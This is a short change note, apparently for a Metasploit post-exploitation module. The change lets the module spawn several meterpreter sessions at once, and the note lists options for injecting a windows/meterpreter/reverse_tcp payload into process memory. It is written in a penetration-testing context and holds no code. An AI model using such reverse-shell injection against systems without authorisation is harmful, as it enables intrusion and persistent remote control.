Title: Added ability to generate multiple payloads - not just one

Ran into a pentest recently where I had a flaky meterpreter shell, had it launch multiple ones just to be safe. The amount datastore allows you to iterate through and spawn multiple sessions.

LPORT 4444 no Port number for the payload LPORT variable.
PAYLOAD windows/meterpreter/reverse_tcp no Payload to inject in to process memory
PIDLIST no List of semicolom separated PID list.
SESSION yes The session to run this module on.
